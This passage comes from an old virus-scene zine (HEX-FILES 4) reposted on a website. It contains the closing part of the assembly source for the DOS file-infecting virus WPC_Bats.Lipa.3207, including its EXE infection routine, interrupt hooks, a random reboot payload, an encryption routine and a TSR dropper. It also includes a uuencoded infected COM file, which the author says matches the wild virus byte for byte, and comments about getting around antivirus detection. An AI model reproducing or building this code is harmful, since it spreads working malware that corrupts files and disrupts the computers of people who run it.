mov _ExeCodPt[ReadBuffer],ax
shr ax,cl
sub ax,16
mov [SegVirus],ax
mov ax,dx
mov cx,1000h
mul cx
mov _ExeCodSeg[ReadBuffer],ax
add ax,[SegVirus]
mov _ExeStkSeg[ReadBuffer],ax
mov word ptr _ExeStkPt[ReadBuffer],offset WpcStackPt
call WriteVirus
jc RelayToCloseFile
mov dx,word ptr _dHiLen[VirusDta]
mov ax,word ptr _dLoLen[VirusDta]
add ax,[VirLenToWrite]
adc dx,0
mov cx,200h
div cx
or dx,dx
jz PageAligned
inc ax
PageAligned:
mov _ExeMod[ReadBuffer],dx
mov _ExeBlocks[ReadBuffer],ax
cmp word ptr _ExeMinAlloc[ReadBuffer],123h
jb WriteToFileStart
mov word ptr _ExeMinAlloc[ReadBuffer],123h
WriteToFileStart:
call MovePointerStart ; prepare to write virus header
mov dx,offset ReadBuffer ; write it
mov cx,24
mov ah,40h
call UseDos
MarkTimeDateStamp:
mov dx,word ptr _dDateStamp[VirusDta]
add dx,100 shl 9 ; set year mark
mov cx,word ptr _dTimeStamp[VirusDta]
mov ax,5701h
or cl,1fh ; set seconds mark
call UseDos ; update file time/date stamp
mov ah,3eh
call UseDos
call RestoreFileAttribute ; housekeeping
call ShowShirly ; am i going to show shirly?
call RestoreDtaErrInt ; more housekeeping
call RestoreRegisters
popf
ret

Int24Handler:
mov al,3 ; error int handler
iret


ShowShirly:
mov ah,2ch ; randomize show shirly
call UseDos
cmp dl,24
je ShowIt
ret
ShowIt:
test word ptr [Timer],1 ; make it random some more
jz NoShowPrompt
ShowShe:
std
mov si,offset Shirly ; show shirly
mov cx,14
ShowNextChar:
lodsb
sub si,2
mov dl,al
mov ah,2
call UseDos
loop ShowNextChar
cld
mov dl,'!'
call UseDos
NoShowPrompt:
ret

CommandCom db 'COMMAND.COM',0

RestoreFileAttribute:
xor ch,ch
mov cl,_dAttribute[VirusDta]
mov ax,4301h
mov dx,offset VirusAsciiz
call UseDos
ret

RestoreDtaErrInt:
mov ah,1ah
lds dx,cs:[ActiveDta] ; restore active dta
call UseDos
mov ax,2524h
lds dx,cs:[Int24] ; restore error int
call UseDos
ret

PrepareToInfectFile:
mov bp,cs
mov ds,bp
mov ah,2fh
call UseDos ; get and save active dta
mov [DtaOffset],bx
mov [DtaSegment],es
mov ax,3524h
call UseDos ; get and save error int
mov [Int24Offset],bx
mov [Int24Segment],es
mov es,bp
mov ax,2524h ; hook error int
mov dx,offset Int24Handler
call UseDos
mov ah,1ah
mov dx,offset VirusDta
call UseDos ; set virus dta
mov ax,2e00h
xor dl,dl
call UseDos ; turn vrify off
mov dx,offset VirusAsciiz
mov ah,4eh
mov cx,23h
call UseDos ; find file = get file data
jc FileNotFound
mov ax,4301h
mov cx,20h
call UseDos ; make file writable
FileNotFound:
ret

InfectionCheck:
mov al,2
call MovePointerZeroLoHi ; get eof
jc ErrorOnInfectCheck
mov word ptr _dLoLen[VirusDta],ax ; and save
mov word ptr _dHiLen[VirusDta],dx
sub ax,(VirLen-(offset SavedHost - offset Relocator))
sbb dx,0
mov cx,dx
mov dx,ax
xor al,al
call MovePointer ; prepare for infect check read
jc ErrorOnInfectCheck
mov cx,79
mov dx,offset StealthBuffer
mov ah,3fh ; do the read
call UseDos
jc ErrorOnInfectCheck
mov [InfectedFlag],0 ; clear infect flag
;<-------------------------------------- there should be a NOP here
call LookForVirusSig ; infect check
jc FoundSig
mov [InfectedFlag],1 ; set infected flag
;<-------------------------------------- there should be a NOP here
sub si,24
SaveHostFileData:
mov di,offset SavedHost ; saved host data for that file
mov cx,24
repe movsb
call MaskSavedHostData ; and encrypt
FoundSig:
clc
ErrorOnInfectCheck:
ret

LookForVirusSig:
mov si,offset StealthBuffer
mov al,100 ; check also other variants????
LookForSig:
inc si
push si
mov di,offset AlaEhData ; make check
mov cx,10
repe cmpsw
pop si
je FoundSig ; found sig
dec al
jnz LookForSig
stc
ret

WriteVirus:
mov cx,0 ; virus adjusts this
VirLenToWrite equ word ptr $-2
mov dx,offset Relocator
mov ah,40h
MaskInt21HandlerBegin:
call MaskInt21Handler
call UseDos ; do write virus
jc ErrorOnWrite
cmp ax,cx ; is write ok
ErrorOnWrite:
call MaskInt21Handler
ret

MovePointerStart: ; multiple entry ptr functions
xor al,al
MovePointerZeroLoHi:
xor dx,dx
MovePointerZeroHi:
xor cx,cx
MovePointer:
mov ah,42h
UseDos:
pushf
cli
db 9ah
Int21 label dword ; old int 21
Int21Offset dw ?
Int21Segment dw ?
ret

ShowAlaehMessage:
call SaveRegisters
mov ax,40h
mov es,ax
test word ptr es:[TimerTick],1 ; make display random
jnz DoneShowMess
push cs
pop ds
dec byte ptr [Keypress] ; make F1/F2 press count
jnz DoneShowMess
mov [Keypress],2 ; reset it to two
;<-------------------------------------- there should be a NOP here
mov ah,0fh
int 10h
mov cl,al
mov ax,0b000h
cmp cl,7 ; check for mono adapter
je UseMonoScreenMem
mov ax,0b800h
UseMonoScreenMem:
mov es,ax
mov di,((((ScrHigh-MesHigh)/2)*ScrWide)+((ScrWide-MesWide)/2))*2
mov si,offset AlaehMessage
GetAnotherMessageChar:
mov ah,es:[di+1] ; get char attribute
or ah,15 ; make it color white
lodsb
cmp al,13 ; end of message
je DoneShowMess
or al,al ; end of line
jz ShowNextLine
cmp al,20h ; use orig text for space
jne UseMessChar
mov ax,es:[di]
UseMessChar:
stosw
jmp GetAnotherMessageChar
ShowNextLine:
add di,(80-37)*2 ; this is (ScrWide-MesWide)*2 but we
jmp GetAnotherMessageChar ; would not get an exact copy of the
DoneShowMess: ; virus if we use this
call RestoreRegisters
ret

;------------------------------------------------------------------------
; this routine is supposed to be the screen payload of the virus for
; int 1Ch but changed it to a computer reboot. there is nothing wrong
; with the routine except for the lack of a "RestoreRegisters" at the
; end of the routine.
;
; this displays a big ala-eh. to see how it works, see wpc-show program
; in the file HEXFILE4.007.
;------------------------------------------------------------------------
call SaveRegisters
mov ah,0fh
int 10h
cmp al,7
ja DoneShowMess
mov ax,cs
mov es,ax
mov ds,ax
mov di,offset LipaTempo
mov ax,0f03h
mov cx,14
SetLoc:
stosw
inc di
loop SetLoc
mov bp,offset AlaEhData
GetNextData:
mov si,bp
lodsw
cmp al,-1
je DoneShowMess
mov word ptr [VirusDta],ax
GetNextShirlyChar:
mov si,offset LipaTempo
mov word ptr [ReturnPoint],14
LoadPos:
lodsw
mov dx,ax
mov bx,0
mov ah,2
int 10h
mov bl,7eh
mov cx,2
cmp dh,16
jb NotMaxRow
mov bl,14
mov cx,1
NotMaxRow:
mov al,[si]
mov ah,9
int 10h
cmp dh,15
ja InLastRow
mov cx,1
mov al,0dbh
int 10h
InLastRow:
inc si
dec word ptr [ReturnPoint]
jnz LoadPos
mov di,offset LipaTempo
mov si,offset LipaText
mov cx,13
CopyShirly:
movsw
inc di
inc si
loop CopyShirly
mov ax,word ptr [VirusDta]
cmp al,1
jne Check2
inc byte ptr [LipaColumn]
Check2:
cmp al,2
jne Check3
dec byte ptr [LipaColumn]
Check3:
cmp al,3
jne Check4
dec byte ptr [LipaRow]
Check4:
cmp al,4
jne Check5
inc byte ptr [LipaRow]
Check5:
cmp al,5
jne Check6
inc byte ptr [LipaColumn]
inc byte ptr [LipaRow]
Check6:
cmp al,6
jne Check7
dec byte ptr [LipaColumn]
dec byte ptr [LipaRow]
Check7:
cmp al,7
jne Check8
dec byte ptr [LipaRow]
inc byte ptr [LipaColumn]
Check8:
cmp al,8
jne CheckDone
inc byte ptr [LipaRow]
dec byte ptr [LipaColumn]
CheckDone:
call Delay
dec byte ptr [VirusDta][1]
jz SetNextData
jmp GetNextShirlyChar
SetNextData:
add bp,2
jmp GetNextData
Delay:
mov word ptr [ReturnPoint],5
DoDelay:
mov cx,-1
loop $
dec word ptr [ReturnPoint]
jnz DoDelay
;----------------- only needs a "call SaveRegisters" here to make it work OK
ret
;----------------------------------- end of disabled routine ------------

Int1cHandler:
pushf
dec word ptr cs:[Timer] ; is it already one hour?
jnz PassToOldInt1c
mov word ptr cs:[Timer],-16 ; reset it to one hour
push ax
push es
mov ax,40h
mov es,ax
test word ptr es:[TimerTick],1 ; and randomize
pop es
pop ax
jnz PassToOldInt1c
push bp
int 19h ; reboot
pop bp
PassToOldInt1c:
popf
db 0eah
Int1cOffset dw ?
Int1cSegment dw ?

Int16Handler:
pushf
or ah,ah ; get key?
jz GotReadKey
popf
db 0eah
Int16 label dword
Int16Offset dw ?
Int16Segment dw ?

GotReadKey:
popf
pop cs:[Int16CallerOffset]
pop cs:[Int16CallerSegment]
call cs:[Int16] ; execute get key
pushf
cmp ax,3b00h ; is it F1?
je TriggerPulled
cmp ax,3c00h ; is it F2?
je TriggerPulled
jmp ReturnToInt16Caller
;<-------------------------------------- there should be a NOP here
TriggerPulled:
call ShowAlaehMessage ; show message
ReturnToInt16Caller:
popf
db 0eah
TempInt21 label dword
TempInt21Off equ word ptr $
Int16CallerOffset dw ?
TempInt21Seg equ word ptr $
Int16CallerSegment dw ?

CommandComFlag db ?

AlaehMessage db 0c9h, 35 dup (0cdh),0bbh,0
db 0bah,34,32,0dbh,4 dup (0dfh),32,0dbh,32,32,0dbh,32,0dbh
db 0dfh,0dfh,0dfh,' " I will always ',0bah,0
db 0bah,32,32,4 dup (0dfh),0dbh,32,0dbh,0dfh,0dfh,0dbh,32
db 0dbh,0dfh,0dfh,5 dup (32),'loves you ! ',0bah,0
db 0bah,32,32,5 dup (0dfh),32,0dfh,32,32,0dfh,32,4 dup (0dfh)
db 5 dup (32),'[SVH] - LIPA ',0bah,0
db 0bah,' -o- Take a bunch of care -o- ',0bah,0
Measure db 0c8h,35 dup (0cdh),0bch,13
MesWide equ ($-Measure)-1
MesHigh equ ($-AlaehMessage)/(MesWide+1)

;AlaehMessage db 'ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»',0
; db 'º "Ûßßßß Û Û Ûßßß " I will always º',0
; db 'º ßßßßÛ ÛßßÛ Ûßß loves you ! º',0
; db 'º ßßßßß ß ß ßßßß [SVH] - LIPA º',0
; db 'º -o- Take a bunch of care -o- º',0
;Measure db 'ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ',13
;MesWide equ ($-Measure)-1
;MesHigh equ ($-AlaehMessage)/(MesWide+1)

InfectedFlag db 1
Alignment db 15 dup (?)
ReturnPoint dw ?
Keypress db ?
Int24 label dword
Int24Offset dw ?
Int24Segment dw ?
ActiveDta label dword
DtaOffset dw ?
DtaSegment dw ?

Timer dw ?
VirusDta db 45 dup (?)
VirusAsciiz db 65 dup (?)

ComJumpByte equ byte ptr $
ComJumpDisp equ word ptr $+1
ReadBuffer dw 12 dup (?)
db ? ; unused
HandleTable equ $
rept 5
dw -1 ; saved handle
db AsciizLen dup (?) ; saved asciiz
endm

db 5 dup (?) ; dont know whats this for
StealthBuffer db 79 dup (?)
StackFrame db 257 dup (?)
WpcStackPt equ $

align 16
Dropper: ; to avoid any complication, ive setup
cld ; a new dropper. this dropper would
les di,dword ptr es:[Ivt7f] ; install the virus as low mem tsr.
mov si,offset Int21Handler ; let us leave the dirty work of topmem
mov cx,10 ; load to the virus in succeeding gens
repe cmpsw ; unless you make changes, you will get
push cs ; an exact copy of the virus, except if
pop es ; frisk and drsolomon gets another of
jne Drop1 ; their bright ideas on virus detection
mov ah,9
mov dx,offset newline
int 21h
mov ah,9
mov dx,offset newline
int 21h
mov ax,4cffh
int 21h

newline db 7,13,10,'$'

align 2
Drop1:
mov [VirusRelocOffset],offset DecryptEntryCode
mov si,offset AlaehMessage
xor ax,ax
mov bx,ax
cld
Drop2:
lodsb
add bl,al
adc bh,ah
cmp al,13
jne Drop2
mov [AlaehMessageCxSum],bx
mov si,offset EntryCodeMaskBegin
std
Drop3:
mov bx,offset EntryCodeMaskEnd
Drop4:
cmp bx,offset EntryCodeMaskKeyEnd
je Drop3
dec bx
lodsb
xor al,[bx]
mov [si+1],al
cmp si,offset EntryCodeMaskEnd
jne Drop4
call MaskInt21Handler
cld
mov word ptr [Timer],-16
mov [Keypress],2
mov ax,3516h
int 21h
mov [Int16Offset],bx
mov [Int16Segment],es
mov ax,351ch
int 21h
mov [Int1cOffset],bx
mov [Int1cSegment],es
mov ax,3521h
int 21h
mov [Int21Offset],bx
mov [Int21Segment],es
mov ax,2516h
mov dx,offset Int16Handler
int 21h
mov ax,251ch
mov dx,offset Int1cHandler
int 21h
mov dx,offset Int21Handler
xor ax,ax
mov es,ax
mov word ptr es:[Ivt7f],dx
mov word ptr es:[Ivt7f][2],cs
push cs
pop es
mov ax,2521h
int 21h
mov ah,9
mov dx,offset newline
int 21h
mov ax,3100h
mov dx,MemRequired+16
int 21h

WpcBatsLipa3207 ends

end Relocator

ÄÄ WPCL3207.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


The uuencoded file below is infected by a virus created by compiling
the source code above in TASM 2.01. The virus in this file is on the
third generation. The codes of the virus in this file is guaranteed
to be an exact byte-for-byte match of the virus found in the wild.

However, AVs use uninitialized data to determine variations from the
original virus. The values of these far pointers are beyond my
control. If AVs detect this file as having a somewhat different virus
or a not exact identification, then that AV uses uninitialized dat as
determinant for variants.


ÄÄ WPCL3207.UUE STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

begin 644

wpcl3207.com 
MZ>T!#2`@(`T*36%B=6AA>2$-"@I4:&ES(&ES(%=P8U]"871S+DQI<&$N,S(P
M-R!V:7)U<R!C;VUI;F<@=&\@>6]U(&9R;VT@=&AE(%!H:6QI<'!I;F5S+@T*
M0G)O=6=H="!T;R!Y;W4@;&EV92!B>2!(15@M1DE,15,@3F\N(#0-"@I(15@M
M1DE,15,@86YD(%!U=&]K<V$@2V%W87EA;B!A<F4@;F]T(')E<W!O;G-I8FQE
M(&9O<B!A8W1U86PL(&EM<&QI960@86YD+V]R#0II;6%G:6YA<GD@9&%M86=E
M(&%R:7-I;F<@9&ER96-T;'D@;W(@:6YD:7)E8W1L>2!F<F]M('1H92!U<V4L
M(&UI<W5S92!O<B!N;VXM=7-E#0IO9B!T:&ES('!R;V=R86TN(%1H92!P97)S
M;VX@=VAO(&5X96-U=&5S('1H:7,@<')O9W)A;2!B96%R<R!F=6QL(')E<W!O
M;G-I8FEL:71Y#0IF;W(@:&ES+VAE<B!A8W1I;VYS+@T*"E1H:7,@<')O9W)A
M;2!I<R!S=')I8W1L>2!F;W(@961U8V%T:6]N86P@;W(@<F5S96%R8V@@<'5R
M<&]S97,@;VYL>2X-"
@H*)`@@&@X?N@<!M`G-(;1,S2$#`_,"]`+U`O8"^`+_
M_XS(!1\`CMBC%@&,!G(#,]O_+A0!&`&U![Y$`_WZCM"+YK],`8'_)@%T]T^.
MPT.+[-'CT>.L,@6(1@`F,$<"
@^L$3('\3`%T!`O;=-B\,>RW_<J7!V`6H(HK
MK'>0CO]._AK:.*7@1+L`!H4FX@Z[`SUZ`?6+_+^F`'*%&/4;H@&<6$\Z\XZJ
MT-*1M&VJ0`8\#KO9SXHCONP$.-1]M_YT<RYO/F/9_KG6<HG#-\AM.N/0D9&&
M3T5G<A$6Y@"#Q@1-\_AJHG8$L"1T;&[,5<I(CK==!2SB'&_CK8M*CK6E"R!'
MC%L1BIP]3%SZ)+RYV203SD9V2=6(8C&(8A%B[WFJ?U_]6(LXF$&,6^X43*_]
M2K%R!\@A^@@(BE)=277MO*5"
UQE?,Q#,^G,6OR8Q$*<G9=R'".+"#?@"F]=2
M'#F(:AU%`L6O@571XO=CD]APBP7KQQ;'/6J>#VH*NTT$=P0(`Y\^`(%+'#J;
MY<G,[7ECI><MV06)0@(DZ,?5@P#/#Z=\,_Y:<1W]]>?9'P#^:0_\O*4,.P#+
MQ2=M!V/1)J9/N.AC,.='IWPS_^GDV3AV,Z7"
U`I%9GQ#3.H@X]GC%"0P16>)
M.%=+CH6""/R=,6V(:E@'5W*&*L9R94)^/(6-9=SA02>2O`DP4"
6<4$O/HE$Q
M0#'@@2!'Q(4#S$DC^]]4LX]/BR!/+^(J;V2\Q0:>N2,P^!F-4_NS*G^+/Y;^
MX\!U9KP'_^D]C4B("M)+Y9RYV1B&3E*_<S/BKP`H%$]"5\_O?JD(`]DP5`3H
M*@".P8[9^H[3B^#[Z@````".P[\``:6DZ#@$Z`X`CMOZCM.\_O_[Z@`!<P0N
MCP:O`ISH@0`NBRZO`BZ`?@#,=0/H90,STHS)_?HNC!;)`RZ))LX#OM$*CM&+
MYKO'`X'[=P-T]XOL2X[9K#('B$8`CMHP!@@`3('\*P=T!`O2=-ZXMP..T+S8
M!>@&`)TN_R:O`BZ/!H<-!Q]=7UY:65M8+O\FAPV+%JP-H:H-)!\\'W4N@>H`
MR,,NCP:'#5!345)65U4>!B[_)H<-C,B.P([8OAL.N04`K3K#=`>#QC[B]OG#
M5K_!#:RJ"L!U^EZ#[@+XP[Z:!K],!('_0P1T]ZPR!4^(1/^!_K(&=>W#+H\&
MAPWH?O^=+H\&B00NCP:+!)WH?09R')SHCO\>!PX?@_D8<@.Y&`"
^F@:+^OSS
MI.A2_YWJ`````"Z/!H<-Z&G_Z'G_<F&`?`$`=%NP`>@\!@O"=%+H+?\+R71.
MG2Z/!HD$+H\&BP2=^;@%`"[_+HD$+H\&APWH,?_H0?]R*;`!Z`H&4`O"6'4>
MQD0!_^B0_NA]!>B*_ISH\06=<@J`/G<-`'0#Z%C_Z-O^Z2$!/`)U^5(+T5IU
M\^CP_N@`_W+HZ%[^Z$L%Z%C^G+`"Z+\%G7+6@#YW#0!TS^BJ_ITNCP9'!2Z/
M!DD%G>BI!9PMAPR#V@"
=Z@````"`_#YR=X#\0G2L@/P_=`B`_#YT!N@K_^A@
M_^B6_NBF_G*.QP3__^AE_ITNCP:-!2Z/!H\%G>AD!>CN_>CL`NCH_>HIQ/__
MG/O\@/Q#<K*`_$MT,X#\;'0N@/Q.=7J=+H\&PP4NCP;%!9WH,`5R"
>BX_>B7
M`>BR_>J>.@64@/P]=`6`_#QR1^@J_H#\;'0"B_(.![_!#;E``*RJ"L#@^N,J
M)HM%_`T@(":*5?Z`RB`]8V]U!8#Z;70K/65X=0V`^F5U"":!??DX-G49Z,']
M@/P2=(N`_!%TAITN_S;L"
B[_-NH*R^BH_9V`_$MT'BZ/!E$&+H\&4P:=Z*($
M<@GH*OWHW@#H)/WJ\\/__SP#="T\`7<R/`!T)>@0_>B-`>@*_2Z/!H(&+H\&
MA`:=Z&\$Z/G\Z/<!Z//\Z@````#HZ_SHZ0'HY?PN_S;L"
B[_-NH*RV@M185O
M)1*A_<R>)OTG9$N-^HOU$.`F=@<)"`4!"08$!0@!`@,)!`D!"0<)"`4!"08$
M!0@!`@,)`0@""`0$`0<"
!P0%`0T#"00$`0P#!`0)`0($`0(M_[09S2&*T+0%
MM@"
U`,T3S1D``"```'(``"```&P``"```'D``"```',``"```&@``"```&D`
M`"````'H*M(0F@*-]0?E=P:^;A&`4K89S\"`1KN5]9_](%**@W4&.,?]O)UF
M7LS%X*6P'7K+LUOLC=%(OG&,S@I'.*VE^!K&`X)RZ)X4>$.##"WYTMMQ:9(P
M0E0.84LR<;!2R83W"
HFA0`^G>"@?=&ICT[=-,<S.N<Q%_366,8?S)DWU"V"K
M1@.#EG4N_-#I].W8C;RC`[[U3H[*!P#.ZP4?TK\VSSK2->DV\8`G4S4E-90(
M,1"
&Z+Q'_[N.=JC*%H)538XJ"=J"B*[F=1FL_?3H2'T4/04&:EDZG518[H\Y
M`A-C]:UP<@NFZ)UW<;CE/43?C+VT$NZ.K\H#K[>\R$[DI`DWR8M2^WV9AQ/%
M`?_Y.^'`F'>AL^T/2H-7V@+&X)Q.LC6?1YR3"5EB`P\=`H'(I86$HKHOU_[A
M+)V!ZM$]VZ^.(7W[Q@$7(675%.52^$(YB74Y'N?)*KN#QI]B=H5I9Y-FAE=`
M"
&"4`?P+L#A_#4WU-L-&=L(-0'BNDB-:C+[/@I>I`MTG"@8*<Y'D99.'[371
M_4`L@O[L`5PHF,P-5@L+!<<EZS@E##E\>PBF@XQOH9XN=AG%*XP*/MC8^@FQ
M2`#"*0DY7G_(IT>AG^E2X`.(+FD$+(Z7H\][ZRMD<$$[UC9^`";[;CX%((?9
M,7?.<J2#6J7LM13FJC[TV714G>*89O2\,J2+1XM,8S`6_^'OF?(H`7<%J,)Z
M:`2.YC$0QO4OW;FEELX-;=L.ZV/).5%>R43Z+'OGPM%:B&9'%;K?J8C?"MBW
MR2"
`B7'$<ON%STIFNZV(!8;_&(YN<.Y7`<>74":&M@3#67H%#R3IUH#GE,;E
M`YJ^ED7-G4OHC0@S.M[)%='4$=5Y`.$]"
B8LOU'PEJ6*)4S!D8SZ=W=N"C7&
M3#?7K)Z$9D2*7FXR[@<!KG(`F2:<`PH1-^!/T:G/1`#(8>("
'&WT#F5XN^DF
MN?+?9"+].9J6.`P5H(3.+@,&]2^@%)ULMB_6@3C[SOHJ/\.C1=DE+(F%R@8>
MUX@B/>CQ@74UC7F(#5YY(<<DS*2ZGH+&!0*:FL24P9VAZ-T#'>!>(6?ZE$T;
M?4V7JB8FC+ZC`S;0R%^;Q^L%^[2S=A_S[#G+>@(_CI[V#:,W-H72`,=+=_LU
MM.QOT@:"
N]/H.V`A/Q%'6R[R7L;*`@[H]>LKTO[=._Q9@1=9@,"1F50%!\D*
M?75C;$(_P#^;>+,0L=U3^8A@IC+T+QAT8B3X<^?YCSB%)[UT!;^2G*#XZ!``
M<@([P>B6^,,RP#/2,\FT0ISZFOA`R/W#Z`SYN$``CL`F]P9L``$`=48.'_X.
MB0UU/L8&B0T"
D+0/S1"*R+@`L(#Y!W0#N`"XCL"_R@6^DPPFBF4!@,P/K#P-
M=!,*P'0*/"
!U`R:+!:OKYH/'5NOAZ)#XP^BQ^+0/S1`\!W?QC,B.P([8OP$'
MN`,/N0X`JT?B_+VR!HOUK3S_=-2CE`V^`0?'!H<-#@"MB]"[``"T`LT0LWZY
M`@"
`_A!R!;,.N0$`B@2T"<T0@/X/=P>Y`0"PV\T01O\.APUUSK\!![X$![D-
M`*5'1N+[H90-/`%U!/X&*`<\`G4$_@XH!SP#=03^#BD'/`1U!/X&*0<\!74(
M_@8H!_X&*0<\!G4(_@XH!_X.*0<\!W4(_@XI!_X&*`<\"'4(_@8I!_X.*`?H
M#P#^#I4-=`/I6/^#Q0+I2/_'!H<-!0"
Y___B_O\.APUU]<.<+O\.D@UU'2['
M!I(-\/]0!KA``([`)O<&;``!``=8=015S1E=G>I3_P#PG`KD=`:=ZB[H`/"=
M+H\&C@PNCP:0#"
[_'F<,G#T`.W0(/0`\=`/K!)#H8_Z=ZFH0$`$`R<W-S<W-
MS<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-NP"Z(B#;W]_?WR#;("#;
M(-O?W]\@("(@22!W:6QL(&%L=V%Y<R"Z`+H@(-_?W]_;(-O?W]L@V]_?("`@
M("
!L;W9E<R!Y;W4@(2`@(+H`NB`@W]_?W]\@WR`@WR#?W]_?("`@("!;4U9(
M72`M($Q)4$$@N@"Z("`@+6\M("!486ME(&$@8G5N8V@@;V8@8V%R92`@+6\M
M(""Z`,C-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S<W-S;P-````
`
end

ÄÄ WPCL3207.UUE ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ



-=<{[* HF4 *]}>=-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT